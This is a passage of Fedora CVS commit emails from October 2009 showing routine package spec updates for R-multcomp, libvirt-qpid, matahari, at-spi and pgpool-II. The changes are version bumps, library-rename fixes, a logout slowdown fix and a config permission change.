Message-ID: <20091002224805.5921011C00C1@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/R-multcomp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11409

Modified Files:
	.cvsignore R-multcomp.spec sources 
Log Message:
* Fri Oct 2 2009 Orion Poplawski <orion at cora.nwra.com> - 1.1-2
- Update to 1.1-2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/R-multcomp/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	10 Aug 2009 17:56:27 -0000	1.11
+++ .cvsignore	2 Oct 2009 22:48:05 -0000	1.12
@@ -1 +1 @@
-multcomp_1.1-1.tar.gz
+multcomp_1.1-2.tar.gz


Index: R-multcomp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-multcomp/devel/R-multcomp.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- R-multcomp.spec	10 Aug 2009 18:16:29 -0000	1.18
+++ R-multcomp.spec	2 Oct 2009 22:48:05 -0000	1.19
@@ -1,10 +1,10 @@
 %define packname multcomp
-%define packrel  1
+%define packrel  2
 
 Summary:	Simultaneous inference for general linear hypotheses R Package
 Name:		R-%{packname}
 Version:	1.1
-Release:	1%{?dist}
+Release:	2%{?dist}
 License:	GPLv2
 Group:		Applications/Engineering
 Source0:	http://cran.r-project.org/src/contrib/%{packname}_%{version}-%{packrel}.tar.gz
@@ -85,6 +85,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 2 2009 Orion Poplawski <orion at cora.nwra.com> - 1.1-2
+- Update to 1.1-2
+
 * Mon Aug 10 2009 Orion Poplawski <orion at cora.nwra.com> - 1.1-1
 - Update to 1.1-1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/R-multcomp/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	10 Aug 2009 17:56:27 -0000	1.11
+++ sources	2 Oct 2009 22:48:05 -0000	1.12
@@ -1 +1 @@
-3d89c1c5475f16e0ab08aee84dc6eb86  multcomp_1.1-1.tar.gz
+acf16330b7d9f1fd173ad96ba3fc1537  multcomp_1.1-2.tar.gz



From kkofler at fedoraproject.org  Fri Oct  2 22:55:33 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri,  2 Oct 2009 22:55:33 +0000 (UTC)
Subject: rpms/libvirt-qpid/F-12 libvirt-qpid.spec,1.8,1.9
Message-ID: <20091002225533.4E4F811C00C1@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/libvirt-qpid/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14466/F-12

Modified Files:
	libvirt-qpid.spec 
Log Message:
* Fri Oct 02 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.2.17-1
- Rebuild for new qpidc.

By the way, 0%{?dist} is NOT a valid Release tag, please start at 1%{?dist}, except for prereleases which should follow the guidelines at:
https://fedoraproject.org/wiki/Packaging:NamingGuidelines#Pre-Release_packages


Index: libvirt-qpid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-qpid/F-12/libvirt-qpid.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- libvirt-qpid.spec	27 Jul 2009 18:26:53 -0000	1.8
+++ libvirt-qpid.spec	2 Oct 2009 22:55:33 -0000	1.9
@@ -1,7 +1,7 @@
 Summary: QPid QMF interface to Libvirt
 Name: libvirt-qpid
 Version: 0.2.17
-Release: 0%{?dist}
+Release: 1%{?dist}
 Source: libvirt-qpid-%{version}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-root
 License: LGPLv2+
@@ -32,6 +32,9 @@ a set of objects with properties and met
 
 %prep
 %setup -q
+# these libraries got renamed in the latest qmf
+sed -i -e 's/-lqmfcommon -lqmfagent/-lqmfengine -lqmf/g' src/Makefile.am
+sed -i -e 's/-lqmfcommon -lqmfagent/-lqmfengine -lqmf/g' src/Makefile.in
 
 %build
 %configure
@@ -73,8 +76,10 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 
 
 %changelog
+* Fri Oct 02 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.2.17-1
+- Rebuild for new qpidc.
 
-* Mon Jul 27 2009 Arjun Roy <arroy at redhat.com> -0.2.17.0
+* Mon Jul 27 2009 Arjun Roy <arroy at redhat.com> - 0.2.17.0
 - Fixed a bug related to updating of cached pool sources.
 
 * Fri Jun 05 2009 Ian Main <imain at redhat.com> - 0.2.16-5



From kkofler at fedoraproject.org  Fri Oct  2 22:55:33 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri,  2 Oct 2009 22:55:33 +0000 (UTC)
Subject: rpms/libvirt-qpid/devel libvirt-qpid.spec,1.8,1.9
Message-ID: <20091002225533.7289A11C00C1@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/libvirt-qpid/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14466/devel

Modified Files:
	libvirt-qpid.spec 
Log Message:
* Fri Oct 02 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.2.17-1
- Rebuild for new qpidc.

By the way, 0%{?dist} is NOT a valid Release tag, please start at 1%{?dist}, except for prereleases which should follow the guidelines at:
https://fedoraproject.org/wiki/Packaging:NamingGuidelines#Pre-Release_packages


Index: libvirt-qpid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-qpid/devel/libvirt-qpid.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- libvirt-qpid.spec	27 Jul 2009 18:26:53 -0000	1.8
+++ libvirt-qpid.spec	2 Oct 2009 22:55:33 -0000	1.9
@@ -1,7 +1,7 @@
 Summary: QPid QMF interface to Libvirt
 Name: libvirt-qpid
 Version: 0.2.17
-Release: 0%{?dist}
+Release: 1%{?dist}
 Source: libvirt-qpid-%{version}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-root
 License: LGPLv2+
@@ -32,6 +32,9 @@ a set of objects with properties and met
 
 %prep
 %setup -q
+# these libraries got renamed in the latest qmf
+sed -i -e 's/-lqmfcommon -lqmfagent/-lqmfengine -lqmf/g' src/Makefile.am
+sed -i -e 's/-lqmfcommon -lqmfagent/-lqmfengine -lqmf/g' src/Makefile.in
 
 %build
 %configure
@@ -73,8 +76,10 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 
 
 %changelog
+* Fri Oct 02 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.2.17-1
+- Rebuild for new qpidc.
 
-* Mon Jul 27 2009 Arjun Roy <arroy at redhat.com> -0.2.17.0
+* Mon Jul 27 2009 Arjun Roy <arroy at redhat.com> - 0.2.17.0
 - Fixed a bug related to updating of cached pool sources.
 
 * Fri Jun 05 2009 Ian Main <imain at redhat.com> - 0.2.16-5



From kkofler at fedoraproject.org  Fri Oct  2 23:05:09 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri,  2 Oct 2009 23:05:09 +0000 (UTC)
Subject: rpms/matahari/devel matahari.spec,1.2,1.3
Message-ID: <20091002230509.09C8011C00C1@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/matahari/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18939/devel

Modified Files:
	matahari.spec 
Log Message:
* Fri Oct 02 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.0.4-6
- Rebuild for new qpidc.


Index: matahari.spec
===================================================================
RCS file: /cvs/pkgs/rpms/matahari/devel/matahari.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- matahari.spec	25 Jul 2009 11:48:42 -0000	1.2
+++ matahari.spec	2 Oct 2009 23:05:08 -0000	1.3
@@ -1,7 +1,7 @@
 Summary: Qpid QMF Agent for Ovirt Nodes
 Name: matahari
 Version: 0.0.4
-Release: 5%{?dist}
+Release: 6%{?dist}
 Source: http://arjunroy.fedorapeople.org/matahari/matahari-0.0.4.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 License: GPLv2
@@ -37,6 +37,9 @@ as a set of objects with properties and 
 
 %prep
 %setup -q
+# these libraries got renamed in the latest qmf
+sed -i -e 's/-lqmfagent -lqmfcommon/-lqmfengine -lqmf/g' src/Makefile.am
+sed -i -e 's/-lqmfagent -lqmfcommon/-lqmfengine -lqmf/g' src/Makefile.in
 
 %build
 %configure
@@ -76,10 +79,12 @@ test "x%{buildroot}" != "x" && rm -rf %{
 %doc AUTHORS COPYING
 
 %changelog
+* Fri Oct 02 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.0.4-6
+- Rebuild for new qpidc.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.0.4-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
-
 * Thu Jul 16 2009 Arjun Roy <arroy at redhat.com> - 0.0.4-4
 - Changed buildroot value to meet fedora packaging guidelines
 - Updated project website



From kkofler at fedoraproject.org  Fri Oct  2 23:05:08 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri,  2 Oct 2009 23:05:08 +0000 (UTC)
Subject: rpms/matahari/F-12 matahari.spec,1.2,1.3
Message-ID: <20091002230508.D0D9F11C00C1@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/matahari/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18939/F-12

Modified Files:
	matahari.spec 
Log Message:
* Fri Oct 02 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.0.4-6
- Rebuild for new qpidc.


Index: matahari.spec
===================================================================
RCS file: /cvs/pkgs/rpms/matahari/F-12/matahari.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- matahari.spec	25 Jul 2009 11:48:42 -0000	1.2
+++ matahari.spec	2 Oct 2009 23:05:08 -0000	1.3
@@ -1,7 +1,7 @@
 Summary: Qpid QMF Agent for Ovirt Nodes
 Name: matahari
 Version: 0.0.4
-Release: 5%{?dist}
+Release: 6%{?dist}
 Source: http://arjunroy.fedorapeople.org/matahari/matahari-0.0.4.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 License: GPLv2
@@ -37,6 +37,9 @@ as a set of objects with properties and 
 
 %prep
 %setup -q
+# these libraries got renamed in the latest qmf
+sed -i -e 's/-lqmfagent -lqmfcommon/-lqmfengine -lqmf/g' src/Makefile.am
+sed -i -e 's/-lqmfagent -lqmfcommon/-lqmfengine -lqmf/g' src/Makefile.in
 
 %build
 %configure
@@ -76,10 +79,12 @@ test "x%{buildroot}" != "x" && rm -rf %{
 %doc AUTHORS COPYING
 
 %changelog
+* Fri Oct 02 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.0.4-6
+- Rebuild for new qpidc.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.0.4-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
-
 * Thu Jul 16 2009 Arjun Roy <arroy at redhat.com> - 0.0.4-4
 - Changed buildroot value to meet fedora packaging guidelines
 - Updated project website



From mclasen at fedoraproject.org  Fri Oct  2 23:11:58 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri,  2 Oct 2009 23:11:58 +0000 (UTC)
Subject: rpms/at-spi/F-12 at-spi-fixed-sm.patch, 1.1, 1.2 at-spi.spec, 1.123,
	1.124
Message-ID: <20091002231158.A35DC11C00C1@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/at-spi/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20082

Modified Files:
	at-spi-fixed-sm.patch at-spi.spec 
Log Message:
fix slow logout


at-spi-fixed-sm.patch:
 registry-main.c |  377 +++++++++++++++++++-------------------------------------
 1 file changed, 131 insertions(+), 246 deletions(-)

Index: at-spi-fixed-sm.patch
===================================================================
RCS file: /cvs/pkgs/rpms/at-spi/F-12/at-spi-fixed-sm.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- at-spi-fixed-sm.patch	27 Sep 2009 21:45:17 -0000	1.1
+++ at-spi-fixed-sm.patch	2 Oct 2009 23:11:57 -0000	1.2
@@ -1,6 +1,6 @@
 diff -up at-spi-1.28.0/registryd/registry-main.c.fixed-sm at-spi-1.28.0/registryd/registry-main.c
 --- at-spi-1.28.0/registryd/registry-main.c.fixed-sm	2009-09-22 02:50:10.000000000 -0400
-+++ at-spi-1.28.0/registryd/registry-main.c	2009-09-27 16:36:17.805030309 -0400
++++ at-spi-1.28.0/registryd/registry-main.c	2009-10-02 18:46:50.543192819 -0400
 @@ -33,28 +33,133 @@
  #include "registry.h"
  #include <dbus/dbus-glib.h>
@@ -65,7 +65,7 @@ diff -up at-spi-1.28.0/registryd/registr
 +static void
 +stop_cb (gpointer data)
 +{
-+        gtk_main_quit ();
++        bonobo_main_quit ();
 +}
 +
 +static gboolean
@@ -99,7 +99,7 @@ diff -up at-spi-1.28.0/registryd/registr
 +end_session_cb (guint flags, gpointer data)
 +{
 +        end_session_response (TRUE, NULL);
-+        gtk_main_quit ();
++        bonobo_main_quit ();
 +}
 +static gboolean
 +register_client (void)


Index: at-spi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/at-spi/F-12/at-spi.spec,v
retrieving revision 1.123
retrieving revision 1.124
diff -u -p -r1.123 -r1.124
--- at-spi.spec	27 Sep 2009 21:45:17 -0000	1.123
+++ at-spi.spec	2 Oct 2009 23:11:57 -0000	1.124
@@ -10,7 +10,7 @@
 Summary: Assistive Technology Service Provider Interface
 Name: at-spi
 Version: 1.28.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 URL: http://developer.gnome.org/projects/gap/
 Source0: http://download.gnome.org/sources/at-spi/1.28/%{name}-%{version}.tar.bz2
 
@@ -157,6 +157,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct  2 2009 Matthias Clasen <mclasen at redhat.com> - 1.28.0-3
+- Fix an oversight in the previous patch that caused
+  registryd to slow down logout by ~10 seconds
+
 * Sun Sep 27 2009 Matthias Clasen <mclasen at redhat.com> - 1.28.0-2
 - Use dbus sm api instead of xsmp, avoid segfault at logout (#519239)
 



From devrim at fedoraproject.org  Fri Oct  2 23:18:09 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Fri,  2 Oct 2009 23:18:09 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/F-11 postgresql-pgpool-II.spec,1.33,1.34
Message-ID: <20091002231809.6187311C00C1@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22919/F-11

Modified Files:
	postgresql-pgpool-II.spec 
Log Message:
- Update to 2.2.4
- Re-apply a fix for #442372




Index: postgresql-pgpool-II.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-11/postgresql-pgpool-II.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- postgresql-pgpool-II.spec	7 May 2009 10:42:02 -0000	1.33
+++ postgresql-pgpool-II.spec	2 Oct 2009 23:18:08 -0000	1.34
@@ -2,12 +2,12 @@
 
 Summary:	Pgpool is a connection pooling/replication server for PostgreSQL
 Name:		postgresql-%{short_name}
-Version:	2.2.2
+Version:	2.2.4
 Release:	1%{?dist}
 License:	BSD
 Group:		Applications/Databases
 URL:		http://pgpool.projects.PostgreSQL.org
-Source0:	http://pgfoundry.org/frs/download.php/2191/%{short_name}-%{version}.tar.gz
+Source0:	http://pgfoundry.org/frs/download.php/2362/%{short_name}-%{version}.tar.gz
 Source1:        pgpool.init
 Source2:        pgpool.sysconfig
 Patch1:		pgpool.conf.sample.patch
@@ -96,7 +96,7 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so.*
 %{_datadir}/%{short_name}/pgpool.pam
 %{_initrddir}/pgpool
-%attr(764,root,apache) %config(noreplace) %{_sysconfdir}/%{short_name}/*.conf
+%attr(764,root,root) %config(noreplace) %{_sysconfdir}/%{short_name}/*.conf
 %config(noreplace) %{_sysconfdir}/sysconfig/pgpool
 
 %files devel
@@ -106,6 +106,10 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so
 
 %changelog
+* Sat Oct 3  2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.4-1
+- Update to 2.2.4
+- Re-apply a fix for #442372
+
 * Thu May 7 2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.2-1
 - Update to 2.2.2
 



From devrim at fedoraproject.org  Fri Oct  2 23:18:09 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Fri,  2 Oct 2009 23:18:09 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/F-10 postgresql-pgpool-II.spec,1.26,1.27
Message-ID: <20091002231809.660D811C01EA@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22919/F-10

Modified Files:
	postgresql-pgpool-II.spec 
Log Message:
- Update to 2.2.4
- Re-apply a fix for #442372




Index: postgresql-pgpool-II.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-10/postgresql-pgpool-II.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- postgresql-pgpool-II.spec	7 May 2009 10:42:02 -0000	1.26
+++ postgresql-pgpool-II.spec	2 Oct 2009 23:18:07 -0000	1.27
@@ -2,12 +2,12 @@
 
 Summary:	Pgpool is a connection pooling/replication server for PostgreSQL
 Name:		postgresql-%{short_name}
-Version:	2.2.2
+Version:	2.2.4
 Release:	1%{?dist}
 License:	BSD
 Group:		Applications/Databases
 URL:		http://pgpool.projects.PostgreSQL.org
-Source0:	http://pgfoundry.org/frs/download.php/2191/%{short_name}-%{version}.tar.gz
+Source0:	http://pgfoundry.org/frs/download.php/2362/%{short_name}-%{version}.tar.gz
 Source1:        pgpool.init
 Source2:        pgpool.sysconfig
 Patch1:		pgpool.conf.sample.patch
@@ -96,7 +96,7 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so.*
 %{_datadir}/%{short_name}/pgpool.pam
 %{_initrddir}/pgpool
-%attr(764,root,apache) %config(noreplace) %{_sysconfdir}/%{short_name}/*.conf
+%attr(764,root,root) %config(noreplace) %{_sysconfdir}/%{short_name}/*.conf
 %config(noreplace) %{_sysconfdir}/sysconfig/pgpool
 
 %files devel
@@ -106,6 +106,10 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so
 
 %changelog
+* Sat Oct 3  2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.4-1
+- Update to 2.2.4
+- Re-apply a fix for #442372
+
 * Thu May 7 2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.2-1
 - Update to 2.2.2
 



From devrim at fedoraproject.org  Fri Oct  2 23:18:09 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Fri,  2 Oct 2009 23:18:09 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/devel postgresql-pgpool-II.spec, 1.34,
	1.35
Message-ID: <20091002231809.77A7811C0297@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22919/devel

Modified Files:
	postgresql-pgpool-II.spec 
Log Message:
- Update to 2.2.4
- Re-apply a fix for #442372




Index: postgresql-pgpool-II.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/devel/postgresql-pgpool-II.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- postgresql-pgpool-II.spec	26 Jul 2009 19:16:22 -0000	1.34
+++ postgresql-pgpool-II.spec	2 Oct 2009 23:18:09 -0000	1.35
@@ -2,12 +2,12 @@
 
 Summary:	Pgpool is a connection pooling/replication server for PostgreSQL
 Name:		postgresql-%{short_name}
-Version:	2.2.2
-Release:	2%{?dist}
+Version:	2.2.4
+Release:	1%{?dist}
 License:	BSD
 Group:		Applications/Databases
 URL:		http://pgpool.projects.PostgreSQL.org
-Source0:	http://pgfoundry.org/frs/download.php/2191/%{short_name}-%{version}.tar.gz
+Source0:	http://pgfoundry.org/frs/download.php/2362/%{short_name}-%{version}.tar.gz
 Source1:        pgpool.init
 Source2:        pgpool.sysconfig
 Patch1:		pgpool.conf.sample.patch
@@ -96,7 +96,7 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so.*
 %{_datadir}/%{short_name}/pgpool.pam
 %{_initrddir}/pgpool
-%attr(764,root,apache) %config(noreplace) %{_sysconfdir}/%{short_name}/*.conf
+%attr(764,root,root) %config(noreplace) %{_sysconfdir}/%{short_name}/*.conf
 %config(noreplace) %{_sysconfdir}/sysconfig/pgpool
 
 %files devel
@@ -106,6 +106,10 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so
 
 %changelog
+* Sat Oct 3  2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.4-1
+- Update to 2.2.4
+- Re-apply a fix for #442372
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From devrim at fedoraproject.org  Fri Oct  2 23:20:55 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Fri,  2 Oct 2009 23:20:55 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/F-11 .cvsignore, 1.11, 1.12 sources, 1.11,
	1.12
Message-ID: <20091002232055.79B0711C00C1@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24839/F-11

Modified Files:
	.cvsignore sources 
Log Message:
Update sources and .cvsignore .



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-11/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	7 May 2009 10:42:02 -0000	1.11
+++ .cvsignore	2 Oct 2009 23:20:55 -0000	1.12
@@ -1,2 +1 @@
-pgpool-II-2.2.tar.gz
-pgpool-II-2.2.2.tar.gz
+pgpool-II-2.2.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-11/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	7 May 2009 10:42:02 -0000	1.11
+++ sources	2 Oct 2009 23:20:55 -0000	1.12
@@ -1,2 +1 @@
-3dc286e2217478acbc05f127e74bd300  pgpool-II-2.2.tar.gz
-6f14514ed4ed5368ad3ab7e2d4c5136b  pgpool-II-2.2.2.tar.gz
+2c9edd0512c5dc1dabab474b563a7a6c  pgpool-II-2.2.4.tar.gz



From devrim at fedoraproject.org  Fri Oct  2 23:20:55 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Fri,  2 Oct 2009 23:20:55 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/F-10 .cvsignore, 1.11, 1.12 sources, 1.11,
	1.12
Message-ID: <20091002232055.4AC6A11C00C1@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24839/F-10

Modified Files:
	.cvsignore sources 
Log Message:
Update sources and .cvsignore .



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-10/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	7 May 2009 10:42:02 -0000	1.11
+++ .cvsignore	2 Oct 2009 23:20:55 -0000	1.12
@@ -1,2 +1 @@
-pgpool-II-2.2.tar.gz
-pgpool-II-2.2.2.tar.gz
+pgpool-II-2.2.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-10/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	7 May 2009 10:42:02 -0000	1.11
+++ sources	2 Oct 2009 23:20:55 -0000	1.12
@@ -1,2 +1 @@
-3dc286e2217478acbc05f127e74bd300  pgpool-II-2.2.tar.gz
-6f14514ed4ed5368ad3ab7e2d4c5136b  pgpool-II-2.2.2.tar.gz
+2c9edd0512c5dc1dabab474b563a7a6c  pgpool-II-2.2.4.tar.gz



From devrim at fedoraproject.org  Fri Oct  2 23:20:55 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Fri,  2 Oct 2009 23:20:55 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/devel .cvsignore, 1.11, 1.12 sources, 1.11,
	1.12
Message-ID: <20091002232055.ACABE11C00C1@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24839/devel

Modified Files:
	.cvsignore sources 
Log Message:
Update sources and .cvsignore .



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	7 May 2009 10:42:03 -0000	1.11
+++ .cvsignore	2 Oct 2009 23:20:55 -0000	1.12
@@ -1,2 +1 @@
-pgpool-II-2.2.tar.gz
-pgpool-II-2.2.2.tar.gz
+pgpool-II-2.2.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	7 May 2009 10:42:03 -0000	1.11
+++ sources	2 Oct 2009 23:20:55 -0000	1.12
@@ -1,2 +1 @@
-3dc286e2217478acbc05f127e74bd300  pgpool-II-2.2.tar.gz
-6f14514ed4ed5368ad3ab7e2d4c5136b  pgpool-II-2.2.2.tar.gz
+2c9edd0512c5dc1dabab474b563a7a6c  pgpool-II-2.2.4.tar.gz



From devrim at fedoraproject.org  Fri Oct  2 23:23:25 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Fri,  2 Oct 2009 23:23:25 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/F-12 .cvsignore, 1.11,
	1.12 postgresql-pgpool-II.spec, 1.34, 1.35 sources, 1.11, 1.12
Message-ID: <20091002232325.7354E11C00C1@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25574

Modified Files:
	.cvsignore postgresql-pgpool-II.spec sources 
Log Message:
- Update to 2.2.4
- Re-apply a fix for #442372




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	7 May 2009 10:42:03 -0000	1.11
+++ .cvsignore	2 Oct 2009 23:23:24 -0000	1.12
@@ -1,2 +1 @@
-pgpool-II-2.2.tar.gz
-pgpool-II-2.2.2.tar.gz
+pgpool-II-2.2.4.tar.gz


Index: postgresql-pgpool-II.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-12/postgresql-pgpool-II.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- postgresql-pgpool-II.spec	26 Jul 2009 19:16:22 -0000	1.34
+++ postgresql-pgpool-II.spec	2 Oct 2009 23:23:24 -0000	1.35
@@ -2,12 +2,12 @@
 
 Summary:	Pgpool is a connection pooling/replication server for PostgreSQL
 Name:		postgresql-%{short_name}
-Version:	2.2.2
-Release:	2%{?dist}
+Version:	2.2.4
+Release:	1%{?dist}
 License:	BSD
 Group:		Applications/Databases
 URL:		http://pgpool.projects.PostgreSQL.org
-Source0:	http://pgfoundry.org/frs/download.php/2191/%{short_name}-%{version}.tar.gz
+Source0:	http://pgfoundry.org/frs/download.php/2362/%{short_name}-%{version}.tar.gz
 Source1:        pgpool.init
 Source2:        pgpool.sysconfig
 Patch1:		pgpool.conf.sample.patch
@@ -96,7 +96,7 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so.*
 %{_datadir}/%{short_name}/pgpool.pam
 %{_initrddir}/pgpool
-%attr(764,root,apache) %config(noreplace) %{_sysconfdir}/%{short_name}/*.conf
+%attr(764,root,root) %config(noreplace) %{_sysconfdir}/%{short_name}/*.conf
 %config(noreplace) %{_sysconfdir}/sysconfig/pgpool
 
 %files devel
@@ -106,6 +106,10 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so
 
 %changelog
